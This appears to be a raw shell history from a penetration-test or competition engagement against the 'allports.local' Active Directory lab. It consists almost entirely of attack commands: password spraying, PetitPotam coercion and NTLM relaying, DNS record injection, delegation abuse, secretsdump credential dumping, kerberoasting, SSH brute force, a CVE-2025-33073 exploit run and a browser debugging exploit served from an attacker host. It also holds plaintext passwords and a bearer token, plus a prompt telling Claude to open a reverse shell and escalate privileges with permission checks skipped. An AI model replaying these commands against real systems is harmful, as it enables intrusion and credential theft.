_raw: : 1768082157:0;~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ../users.txt '1gyroscope'


_raw: : 1768082154:0;impacket-ntlmrelayx -t DECKHAND-02.allports.local -smb2support


_raw: : 1768082146:0;impacket-ntlmrelayx -t DECKHAND-02.allports.local -smb2support


_raw: : 1768082145:0;python3 PetitPotam.py -u ai.svc -p juVI6OHJZ24u -d allports.local 10.0.254.203 10.0.1.6 --remove-mic


_raw: : 1768082126:0;python3 PetitPotam.py -u 'ai.svc' -p 'juVI6OHJZ24u' -d allports.local localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA DECKHAND-02.ALLPORTS.LOCAL


_raw: : 1768082118:0;python3 PetitPotam.py -u 'ai.svc' -p 'juVI6OHJZ24u' -d allports.local localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA DECKHAND-01.ALLPORTS.LOCAL


_raw: : 1768082114:0;~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ../users.txt 'ayeaye'


_raw: : 1768082092:0;~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ../users.txt 'letmein'


_raw: : 1768082088:0;nxc smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV'  -M zerologon


_raw: : 1768082087:0;python3 PetitPotam.py -u ai.svc -p juVI6OHJZ24u -d allports.local 10.0.254.203 10.0.1.6\


_raw: : 1768082079:0;~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ../users.txt 'Sails@way!2026'


_raw: : 1768082075:71;impacket-ntlmrelayx -t DECKHAND-02.allports.local -smb2support


_raw:
: 1768082075:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -W \\
  -b "DC=domain,DC=local" "(objectClass=*)"


_raw: : 1768082072:0;~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ../users.txt 'Sails@way!2025'


_raw: : 1768082069:0;python3 PetitPotam.py -u 'ai.svc' -p 'juVI6OHJZ24u' -d allports.local localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 10.0.1.21


_raw: : 1768082061:0;nxc smb 10.0.1.0/24 -u pentester -p ')u1h55hm-h(M(7nV'  -M ioxidresolver


_raw: : 1768082060:0;~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ../users.txt 'Sails@way!2024' -v


_raw: : 1768082058:0;dig @10.0.1.6 localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.allports.local


_raw: : 1768082054:0;~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ../users.txt 'Sails@way!2023'


_raw: : 1768082053:0;impacket-GetUserSPNs 'allports.local/ai.svc:juVI6OHJZ24u' -dc-ip 10.0.1.6 -request


_raw: : 1768082052:0;dig @10.0.1.6 localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA


_raw: : 1768082045:0;bloodyAD -d allports.local -u ai.svc -p 'juVI6OHJZ24u' --host 10.0.1.6 get object 'WIN-3MSV5VIRNGJ$' --attr msDS-AllowedToActOnBehalfOfOtherIdentity


_raw: : 1768082041:0;python3 dnstool.py -u 'allports.local\ai.svc' -p 'juVI6OHJZ24u' 10.0.1.6 -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 10.0.254.205 --action modify


_raw: : 1768082037:0;python3 dnstool.py -u 'allports.local\ai.svc' -p 'juVI6OHJZ24u' 10.0.1.6 -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 10.0.254.205 --action modify


_raw: : 1768082032:0;nxc smb 10.0.1.20 -u SVC_STABILIZE -p '1gyroscope' -d allports.local -M coerce_plus -o LISTENER=10.0.254.201  METHOD=Petitpotam\


_raw: : 1768082029:0;sudo impacket-ntlmrelayx -t smb://10.0.1.21 -smb2support -socks -i


_raw: : 1768082024:0;sudo impacket-ntlmrelayx -t smb://10.0.1.21 -smb2support -socks


_raw: : 1768082016:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --escalate-user ai.svc -smb2support\


_raw: : 1768082012:0;nxc smb 10.0.1.20 -u SVC_STABILIZE -p '1gyroscope' -d allports.local -M coerce_plus -o LISTENER=10.0.254.201:80  METHOD=Petitpotam\


_raw: : 1768082011:0;python3 PetitPotam.py -u 'ai.svc' -p 'juVI6OHJZ24u' -d allports.local localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 10.0.1.20


_raw: : 1768082009:0;sudo impacket-ntlmrelayx -t smb://10.0.1.21 -smb2support -socks


_raw: : 1768082007:0;impacket-ntlmrelayx -t DECKHAND-01.allports.local -smb2support


_raw: : 1768081998:0;nxc smb 10.0.1.20 -u SVC_STABILIZE -p '1gyroscope' -d allports.local -M coerce_plus -o LISTENER=10.0.254.201:80  METHOD=Petitpotam\


_raw: : 1768081993:0;sudo impacket-ntlmrelayx -t smb://10.0.1.21 -smb2support -socks -i


_raw: : 1768081989:0;bloodyAD -d allports.local -u ai.svc -p 'juVI6OHJZ24u' --host 10.0.1.6 get object 'DECKHAND-01$' --attr nTSecurityDescriptor


_raw:
: 1768081970:0;curl -X POST 'http://10.0.1.13:8090/route-with-waypoints' --data-raw '{"waypoints":[{}]}'\\
curl -X POST 'http://10.0.1.13:8090/route-with-waypoints' --data-raw '{"waypoints":[{}]}'


_raw: : 1768081949:0;cat /home/pentester/scripts/spray_nautical2_*.txt | grep +


_raw: : 1768081946:0;nxc ldap 10.0.1.6 -u ai.svc -p 'juVI6OHJZ24u' -M ldap-checker


_raw: : 1768081932:0;nxc smb 10.0.1.20 -u SVC_STABILIZE -p '1gyroscope' -d allports.local -M coerce_plus -o LISTENER=10.0.254.201:80  METHOD=Petitpotam\


_raw: : 1768081927:0;proxychains4 impacket-smbclient -no-pass 'APT/APT-DC-01$'@10.0.1.21


_raw: : 1768081927:0;curl -sk "https://chat.allports.tours/logout/" -b session.txt && curl -sk "https://chat.allports.tours/dashboard/" -b session.txt | grep -i dashboard\


_raw: : 1768081926:0;~/go/bin/kerbrute passwordspray -d allports.local --dc 10.0.1.6 ../users.txt 'Sails@way!'


_raw: : 1768081897:0;cat users.nxc | awk '{ print $5 }' > users.txt


_raw: : 1768081896:0;proxychains4 impacket-secretsdump -no-pass 'APT/APT-DC-01$'@10.0.1.21 -sam -security -system


_raw: : 1768081881:0;proxychains4 impacket-secretsdump -no-pass 'APT/APT-DC-01$'@10.0.1.21


_raw:
: 1768081878:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -W \\
  -b "DC=domain,DC=local" "(objectClass=*)"


_raw: : 1768081858:0;sudo nano /etc/proxychains4.conf


_raw: : 1768081857:0;git clone https://github.com/topotam/PetitPotam/


_raw: : 1768081831:0;python3 dnstool.py -u 'allports.local\ai.svc' -p 'juVI6OHJZ24u' 10.0.1.6 -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 10.0.254.205 --action modify


_raw: : 1768081823:0;python3 dnstool.py -u 'allports.local\ai.svc' -p 'juVI6OHJZ24u' 10.0.1.6 -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 10.0.254.205


_raw: : 1768081820:0;sudo nano /etc/proxychains4.conf


_raw:
: 1768081816:0;ldapsearch -x -H ldap://dc.domain.local -D "REDACTED_EMAIL" -W \\
  -b "DC=domain,DC=local" "(objectClass=domainDNS)" \\
  pwdProperties minPwdLength maxPwdAge


_raw: : 1768081798:0;python3 dnstool.py -u 'allports.local\a' -p 'a' 10.0.1.6 -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 10.0.254.205


_raw: : 1768081785:0;claude "set up a reverse shell on port 9001, you're going in a docker container and do everything you can to escalate privileges" --allow-dangerously-skip-permissions


_raw: : 1768081770:0;nxc smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --users > users.nxc


_raw: : 1768081761:0;python3 dnstool.py -u 'allports.local\a' -p 'a' 10.0.254.205 -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d allports.local


_raw: : 1768081734:0;proxychains4 impacket-secretsdump -no-pass 'APT/APT-DC-01$'@10.0.1.21 -sam -security -system


_raw: : 1768081728:0;cat /home/pentester/scripts/spray_nautical_*.txt | grep +


_raw: : 1768081717:7;nxc smb 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope' -d allports.local -M coerce_plus -o LISTENER=10.0.254.201 METHOD=Petitpotam\


_raw:
: 1768081716:0;ldapsearch -x -H ldap://dc.domain.local -D "REDACTED_EMAIL" -W \\
  -b "DC=domain,DC=local" "(objectClass=domainDNS)" \\
  pwdProperties minPwdLength maxPwdAge


_raw: : 1768081714:0;proxychains4 impacket-secretsdump -no-pass 'APT/APT-DC-01$'@10.0.1.21


_raw: : 1768081707:0;cat /usr/share/seclists/Usernames/cirt-default-usernames.txt >> users.txt


_raw:
: 1768081704:0;claude [-] Connecting to host...\
[-] Binding to host\
Traceback (most recent call last):\
  File "/home/pentester/Desktop/krbrelayx/dnstool.py", line 615, in <module>\
    main()\
    ~~~~^^\
  File "/home/pentester/Desktop/krbrelayx/dnstool.py", line 431, in main\
    if not c.bind():\
           ~~~~~~^^\
  File "/usr/lib/python3/dist-packages/ldap3/core/connection.py", line 589, in bind\
    self.open(read_server_info=False)\
    ~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^\
  File "/usr/lib/python3/dist-packages/ldap3/strategy/sync.py", line 57, in open\
    BaseStrategy.open(self, reset_usage, read_server_info)\
    ~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\
  File "/usr/lib/python3/dist-packages/ldap3/strategy/base.py", line 146, in open\
    raise exception_history[0][0]\
ldap3.core.exceptions.LDAPSocketOpenError: socket connection error while opening: [Errno 111] Connection refused


_raw: : 1768081690:0;python3 dnstool.py -u 'allports.local\a' -p 'a' 10.0.254.205 -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d allports.local


_raw: : 1768081639:0;python3 dnstool.py -u 'allports.local\a' -p 'a' 10.0.254.205 -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 10.0.1.6


_raw: : 1768081636:0;nxc smb 10.0.1.0/24 -u Administrator -h | grep local


_raw: : 1768081627:0;crackmapexec smb 10.0.1.0/24 -u ai.svc -p juVI6OHJZ24u --local-auth


_raw: : 1768081620:0;nxc smb 10.0.1.20 -u Administrator -p 'S@ilsAw@y' --local-auth


_raw: : 1768081610:0;nxc smb 10.0.1.20 -u Administrator -p "S@ilsAw@y


_raw: : 1768081593:0;nxc smb 10.0.1.20 -u Administrator -p "1gyroscope"


_raw: : 1768081591:0;strings diagnostic| grep "HTTP Test"


_raw: : 1768081587:0;nxc smb 10.0.1.20 -u Administrator -p "Administrator"


_raw: : 1768081584:0;cat diagnostic| grep "HTTP Test"


_raw: : 1768081581:0;nxc smb 10.0.1.20 -u Administrator -p "Admiistrator"


_raw: : 1768081578:0;ldapsearch -H ldap://10.0.1.6 -x -s base -b "" supportedSASLMechanisms dnsHostName defaultNamingContext | grep -i naming\


_raw: : 1768081571:0;nxc smb 10.0.1.20 -u Administrator -p "" --local-auth


_raw: : 1768081569:0;termshot -scf out.png -C105 -- "nxc smb workstations -u Guest -p '' --rid-brute"


_raw: : 1768081568:0;python3 dnstool.py -u 'allports.local\ai.svc' -p 'juVI6OHJZ24u' 10.0.254.205 -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 10.0.1.6


_raw: : 1768081564:0;nxc smb 10.0.1.21 -u Administrator -p "" --local-auth


_raw: : 1768081549:0;python3 dnstool.py -u 'allports.local\ai.svc' -p 'juVI6OHJZ24u' 10.0.254.205 -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 10.0.1.6


_raw: : 1768081543:0;termshot -scf out.png -C105 -- "nxc smb workstations -u Guest -p '' --rid-brute" -h


_raw: : 1768081537:0;termshot -scf out.png -C105 -- "nxc smb workstations -u Guest -p '' --rid-brute"


_raw: : 1768081528:0;impacket-net pentester@10.0.1.6 user -name SVC_STABILIZE


_raw: : 1768081521:0;python3 dnstool.py -u 'allports.local\ai.svc' -p 'juVI6OHJZ24u' 10.0.254.205 -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 10.0.1.6


_raw: : 1768081519:0;ffuf -u http://localhost:8081/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 13 -X POST


_raw: : 1768081514:0;impacket-net pentester@10.0.1.6 user -name SVC_STABALIZE


_raw: : 1768081511:0;impacket-net pentester@10.0.1.6 user -groups


_raw: : 1768081503:0;termshot -scf out.png -C105 -- "nxc smb workstations -u Guest -p '' --shares"


_raw: : 1768081488:0;termshot -scf out.png -C70 -- "nxc smb workstations -u Guest -p '' --shares"


_raw: : 1768081487:0;sudo impacket-ntlmrelayx -smb2support -t smb://10.0.1.20 --remove-mic -i


_raw: : 1768081485:0;impacket-net pentester@10.0.1.6 user -name SVC_STABALIZE


_raw: : 1768081463:0;cloud-init clean --machine-id -l -s


_raw: : 1768081463:0;apt install qemu-guest-agent


_raw: : 1768081463:0;apt install python3-pip python3-venv curl htop


_raw: : 1768081463:0;apt install openssh-server


_raw: : 1768081463:0;sudo apt install dphys-swapfile


_raw: : 1768081463:0;apt install systemd-zram-generator zram-tools


_raw:
clear
fping -g 10.0.1.0/24
ip a
touch inscope.txt
clear
ls
mkdir apt-pentest
mv inscope.txt apt-pentest
cd apt-pentest
clear
telnet 10.0.1.10 9000
ssh captain@10.0.1.10
ssh admin@10.0.1.10
ssh root@10.0.1.10
clear
searchsploit meilisearch
msfconsole


_raw:
telnet 10.0.1.10 6768
telnet 10.0.1.10 9000
clear
telnet 10.0.1.10 9091
curl http://10.0.1.10:9091
dirb http://10.0.1.10:9091 -w /usr/share/wordlists/dirb/big.txt
dirb -h
man dirb
dirb http://10.0.1.10:9091 /usr/share/wordlists/dirb/big.txt
dirb http://10.0.1.11 /usr/share/wordlists/dirb/big.txt
dirb http://10.0.1.11:8045 /usr/share/wordlists/dirb/big.txt
dirb https://10.0.1.11:8045 /usr/share/wordlists/dirb/big.txt
clear
dirb https://10.0.1.11:7700 /usr/share/wordlists/dirb/big.txt
dirb http://10.0.1.11:7700 /usr/share/wordlists/dirb/big.txt
clear
ssh pentester@10.0.1.11
ssh root@10.0.1.11


_raw: : 1768081460:0;crackmapexec ldap 10.0.1.6 -u ai.svc -p juVI6OHJZ24u -M ldap-checker


_raw: : 1768081456:0;ffuf -u http://localhost:8081/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 13


_raw: : 1768081455:0;crackmapexec ldap 10.0.1.6 -u ai.svc -p juVI6OHJZ24u -M --ldap-checker


_raw: : 1768081451:0;ffuf -u http://localhost:8081/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 12


_raw: : 1768081448:0;cp validate.py ../Downloads


_raw: : 1768081447:0;impacket-net pentester@10.0.1.6 user -groups


_raw: : 1768081445:0;ffuf -u http://localhost:8081/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 23


_raw: : 1768081444:0;nxc ldap 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV'  -M get-info-users


_raw: : 1768081443:0;impacket-net pentester@10.0.1.6 user -group


_raw: : 1768081437:0;ffuf -u http://localhost:8081/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1768081434:0;nxc ldap 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV'  -M get-desc-users


_raw: : 1768081425:0;nxc ldap 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV'  -M obsolete


_raw: : 1768081424:2;crackmapexec ldap 10.0.1.6 -u ai.svc -p juVI6OHJZ24u


_raw: : 1768081424:0;nxc smb workstations -u Guest -p'' --rid-brute


_raw: : 1768081399:0;termshot -scf out.png -- "nxc smb workstations -u Guest -p '' --shares"


_raw: : 1768081395:0;nxc smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV'  -M ntlm_reflection


_raw: : 1768081387:0;nxc smb 10.0.1.0/24 -u pentester -p ')u1h55hm-h(M(7nV'  -M ntlm_reflection


_raw: : 1768081370:0;impacket-rbcd -delegate-to 'DECKHAND-01$' -delegate-from 'WIN-3MSV5VIRNGJ$' -dc-ip 10.0.1.6 -action write 'allports.local/ai.svc:juVI6OHJZ24u'


_raw: : 1768081345:0;git clone https://github.com/dirkjanm/krbrelayx/


_raw: : 1768081328:0;git clone --remote-debugging-port=4444 --disable-web-security --no-sandbox --user-data-dir=/tmp/ --remote-allow-origins=* --headless http://10.0.254.205:8888/cdp-exploit.html\


_raw: : 1768081313:0;curl https://penny.allports.tours/d/files --skip-ssl


_raw: : 1768081293:0;nxc smb workstations -u Guest -p '' --rid-brute


_raw: : 1768081289:0;nmap -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=pass.txt 10.0.1.13


_raw: : 1768081272:0;nmap -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=pass.txt,ssh-brute.timeout=4s 10.0.1.12


_raw: : 1768081272:0;nxc smb workstations -u Guest -p '' --rid-brute --shares


_raw: : 1768081264:0;impacket-net pentester@10.0.1.6 user -name pentester


_raw: : 1768081261:0;nxc smb windows_hosts -u Guest -p '' --rid-brute --shares


_raw: : 1768081249:0;hydra -L users.txt -P passwords.txt 10.0.1.10 ssh


_raw: : 1768081234:0;sudo impacket-ntlmrelayx -smb2support -t smb://10.0.1.20 --remove-mic -i


_raw: : 1768081224:0;hydra -L users.txt -P passwords.txt 10.0.1.11 ssh


_raw: : 1768081218:0;nmap -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=pass.txt,ssh-brute.timeout=4s 10.0.1.11


_raw: : 1768081200:0;apt-get update -qq && apt-get install -y -qq tesseract-ocr 2>&1


_raw: : 1768081184:0;nxc smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --users pentester


_raw: : 1768081183:0;hydra -L users.txt -P passwords.txt 10.0.1.13 ssh


_raw: : 1768081152:0;hydra -L users.txt -P passwords.txt 10.0.1.14 ssh


_raw: : 1768081120:0;hydra -L users.txt -P passwords.txt 10.0.1.99 ssh


_raw: : 1768081108:0;sudo impacket-ntlmrelayx -smb2support -t smb://10.0.1.20 --remove-mic -i


_raw: : 1768081094:0;chromium --remote-debugging-port=4444 --disable-web-security --no-sandbox --user-data-dir=/tmp/ --remote-allow-origins=* --headless http://10.0.254.205:8888/cdp-exploit.html


_raw: : 1768081090:0;hydra -L users.txt -P passwords.txt 10.0.1.30 ssh


_raw: : 1768081085:0;ffuf -u http://10.0.1.10:9091/metrics/FUZZ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt


_raw: : 1768081076:0;ffuf -u http://10.0.1.10:9091/metrics -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt


_raw: : 1768081070:0;nxc ldap 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope' -d allports.local -M ldap-checker


_raw: : 1768081061:0;nxc ldap 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --groups "Policy Administrators"


_raw: : 1768081032:0;hydra -l users.txt -p passwords.txt 10.0.1.30 ssh


_raw: : 1768081003:0;hydra -l users.txt -p passwords.txt 10.0.1.14 ssh


_raw: : 1768080999:0;ffuf -u http://10.0.1.10:9091/FUZZ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt


_raw: : 1768080993:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w '1gyroscope' -b "DC=allports,DC=local" "(objectClass=domain)" ms-DS-MachineAccountQuota


_raw: : 1768080991:0;chromium --remote-debugging-port=4444 --disable-web-security --no-sandbox --user-data-dir=/tmp/ --remote-allow-origins=* --headless http://10.0.254.205:8888/cdp-exploit.html


_raw: : 1768080989:0;hydra -l users.txt -p passwords.txt 10.0.1.13 ssh


_raw: : 1768080980:0;chromium --remote-debugging-port=4444 --disable-web-security --no-sandbox --user-data-dir=/tmp/ --remote-allow-origins=* --headless http://10.0.254.205:8888/cdp-exploit.html


_raw: : 1768080975:0;hydra -l users.txt -p passwords.txt 10.0.1.11 ssh


_raw: : 1768080958:0;hydra -l users.txt -p passwords.txt 10.0.1.10 ssh


_raw: : 1768080953:0;bloodhound-python -u REDACTED_EMAIL -p ')u1h55hm-h(M(7nV' -d allports.local -dc APT-DC-01.allports.local -c all --zip


_raw: : 1768080941:0;hydra -l users.txt -p passwords.txt 10.0.1.99 ssh


_raw: : 1768080891:0;hydra -l users.txt -p passwords.txt 10.0.1.99 ssh


_raw: : 1768080861:0;hashcat -a 0 hash.txt /usr/share/wordlists/rockyou.txt


_raw:
: 1768080852:0;python3 CVE-2025-33073.py -u 'allports.local\ai.svc' -p 'uVI6OHJZ24u' \\
      --attacker-ip 10.0.254.204 --dns-ip 10.0.1.6 \\
      --dc-fqdn apt-dc-01.allports.local --target apt-dc-01.allports.local \\
      --target-ip 10.0.1.6


_raw: : 1768080838:0;nxc ldap 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV'  -M ldap-checker


_raw: : 1768080821:0;hydra -l users.txt -p passwords.txt 10.0.1.99 ssh


_raw: : 1768080811:0;GetUserSPNs.py -dc-ip 10.0.1.6 allports.local/pentester -request


_raw: : 1768080775:0;nxc smb 10.0.1.20 -u SVC_STABILIZE -p '1gyroscope' -d allports.local -M coerce_plus -o LISTENER=10.0.254.201 METHOD=Petitpotam\


_raw: : 1768080769:0;chromium --remote-debugging-port=4444 --disable-web-security --no-sandbox --user-data-dir=/tmp/ --remote-allow-origins=* --headless http://10.0.254.205:8888/cdp-exploit.html


_raw: : 1768080767:0;nxc smb 10.0.1.2o -u SVC_STABILIZE -p '1gyroscope' -d allports.local -M coerce_plus -o LISTENER=10.0.254.201 METHOD=Petitpotam\


_raw: : 1768080757:0;sudo impacket-ntlmrelayx -t smb://10.0.1.21 -smb2support -socks


_raw: : 1768080756:0;chromium --remote-debugging-port=4444 --disable-web-security --no-sandbox --user-data-dir=/tmp/ --remote-allow-origins=* --headless http://10.0.254.205:8888/cdp-exploit.html


_raw: : 1768080729:0;nxc smb 10.0.1.6 -u 'SVC_STABALIZE' -p 1gryoscope


_raw: : 1768080713:0;sudo nano /etc/bhapi/bhapi.json


_raw: : 1768080707:0;nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p 1gryoscope


_raw: : 1768080696:1;hydra -l captain -p passwords.txt 10.0.1.99 ssh


_raw: : 1768080695:0;chromium --remote-debugging-port=4444 --disable-web-security --no-sandbox --user-data-dir=/tmp/ --remote-allow-origins=* http://10.0.254.205:8888/cdp-exploit.html


_raw:
: 1768080623:0;curl -sk "http://10.0.1.11:3000/api/messages/3a767480-3179-4618-848e-b7723cb9f271" \\
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5NjE1M2Y0NzJiNDBlMzcxYTMzYThlNSIsInVzZXJuYW1lIjoicGVudGVzdGVyIiwicHJvdmlkZXIiOiJsZGFwIiwiZW1haWwiOiJwZW50ZXN0ZXJAbGRhcC5sb2NhbCIsImlhdCI6MTc2ODA4MDUzNywiZXhwIjoxNzY4MDgxNDM3fQ.4nB2YLIleBuGwIuebCmUkOyZHOe2RL1jtCqlK1wL2aY"


_raw: : 1768080603:0;rm -rf cptc-agent-orchestration-colin.zip


_raw: : 1768080600:0;xfreerdp3 /v:10.0.1.20 /u:SVC_STABALIZE /p:1gyroscope


_raw: : 1768080593:0;mv cptc-agent-orchestration-colin.zip claude-do-it


_raw: : 1768080589:0;strings diagnostic| grep -i "diagnostic"


_raw: : 1768080583:0;bloodhound-ce-python --zip -c All -d allports.local -u svc_stabilize -p 1gyroscope -ns 10.0.1.6


_raw: : 1768080582:0;nxc smb 10.0.1.21 -u SVC_STABILIZE -p '1gyroscope' -d allports.local -M coerce_plus -o LISTENER=10.0.254.201 METHOD=Petitpotam\


_raw:
: 1768080577:0;curl -sk "http://10.0.1.11:3000/api/convos" \\
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY5NjE1M2Y0NzJiNDBlMzcxYTMzYThlNSIsInVzZXJuYW1lIjoicGVudGVzdGVyIiwicHJvdmlkZXIiOiJsZGFwIiwiZW1haWwiOiJwZW50ZXN0ZXJAbGRhcC5sb2NhbCIsImlhdCI6MTc2ODA4MDUzNywiZXhwIjoxNzY4MDgxNDM3fQ.4nB2YLIleBuGwIuebCmUkOyZHOe2RL1jtCqlK1wL2aY"


_raw: : 1768080573:0;sudo apt install bloodhound


_raw: : 1768080563:190;sudo impacket-ntlmrelayx -t smb://10.0.1.20 -smb2support -socks


_raw: : 1768080558:0;strings diagnostic | grep download


_raw: : 1768080555:0;strings diagnostic| grep -i "\-c"


_raw: : 1768080554:0;sudo ./bloodhound-cli install


_raw: : 1768080551:0;strings diagnostic| grep -i "-c"


_raw: : 1768080547:0;strings diagnostic| grep -i "ping \-c"


_raw: : 1768080544:0;strings diagnostic| grep -i "ping -c"


_raw: : 1768080540:0;impacket-ntlmrelayx -t 10.0.1.21 -smb2support


_raw:
: 1768080537:0;curl -sk -X POST "http://10.0.1.11:3000/api/auth/login" \\
  -H "Content-Type: application/json" --data '{"email":"pentester","password":")u1h55hm-h(M(7nV"}'


_raw: : 1768080529:0;tar -xvf bloodhound-cli-linux-amd64.tar.gz


_raw: : 1768080526:0;ffuf -u http://10.0.1.10:9091/FUZZ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt


_raw:
: 1768080525:0;curl -sk -X POST "http://10.0.1.11:3000/api/auth/login" \\
  -H "Content-Type: application/json" \\
  --data @- '{"email":"pentester","password":")u1h55hm-h(M(7nV"}'


_raw: : 1768080513:0;nxc ldap 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' -M certipy-find


_raw:
: 1768080512:0;curl -sk -X POST "http://10.0.1.11:3000/api/auth/login" \\
  -H "Content-Type: application/json" \\
  --data @- '{"email":"pentester","password":")u1h55hm-h(M(7nV"}'\


_raw: : 1768080512:0;ffuf -u http://10.0.1.10:9091/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt


_raw: : 1768080490:0;nxc ldap 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --asreproast a


_raw: : 1768080484:0;strings diagnostic| grep -i ping


_raw: : 1768080483:0;gobuster dir --url https://10.0.1.99/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --delay 50ms -k


_raw: : 1768080483:0;impacket-ntlmrelayx -t 10.0.1.21 -smb2suport


_raw:
: 1768080478:0;curl -sk -X POST "http://10.0.1.11:3000/api/auth/login" \\
  -H "Content-Type: application/json" \\
  --data @- << 'PAYLOAD' > auth_response.json\
{"email":"pentester","password":")u1h55hm-h(M(7nV"}\
PAYLOAD


_raw:
: 1768080471:0;curl -sk -X POST "http://10.0.1.11:3000/api/auth/login" \\
  -H "Content-Type: application/json" \\
  --data @- << 'PAYLOAD' > auth_response.json\
{"email":"pentester","password":")u1h55hm-h(M(7nV"}


_raw: : 1768080462:0;nxc smb 10.0.1.20 -u pentester -p ')u1h55hm-h(M(7nV' -M ntlm_reflection


_raw: : 1768080458:0;strings diagnostic| grep -i pass


_raw: : 1768080455:0;strings diagnostic| grep -i admin


_raw: : 1768080450:0;strings diagnostic| grep -i route


_raw: : 1768080444:0;strings diagnostic| grep -i api


_raw: : 1768080413:0;git clone https://github.com/mverschu/CVE-2025-33073.git


_raw: : 1768080366:0;john kerb --wordlist=/usr/share/wordlists/rockyou.txt


_raw: : 1768080331:0;nxc ldap 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --kerberoast a


_raw: : 1768080280:0;gobuster dir --url https://10.0.1.99/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -k


_raw: : 1768080279:0;gobuster dir --url https://10.0.1.99/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt --delay 50ms -k\


_raw: : 1768080272:0;impacket-psexec -dc-ip 10.0.1.6 ALLPORTS.LOCAL/SVC_STABILIZE:1gyroscope@10.0.1.6


_raw: : 1768080268:0;impacket-psexec -dc-ip 10.0.1.6 ALLPORTS.LOCAL/SVC_STABILIZE:1gyroscope@10.0.1.21


_raw: : 1768080261:0;impacket-psexec -dc-ip 10.0.1.6 ALLPORTS.LOCAL/SVC_STABILIZE:1gyroscope@10.0.1.20


_raw: : 1768080231:0;mysql -h 10.0.1.99 --ssl-verify-server-cert=false -u user -p


_raw: : 1768080229:0;./kerbrute userenum --dc 10.0.1.6 -d 'allports.local' user


_raw: : 1768080225:0;mysql -h 10.0.1.99 --ssl-verify-server-cert=false -u guest -p


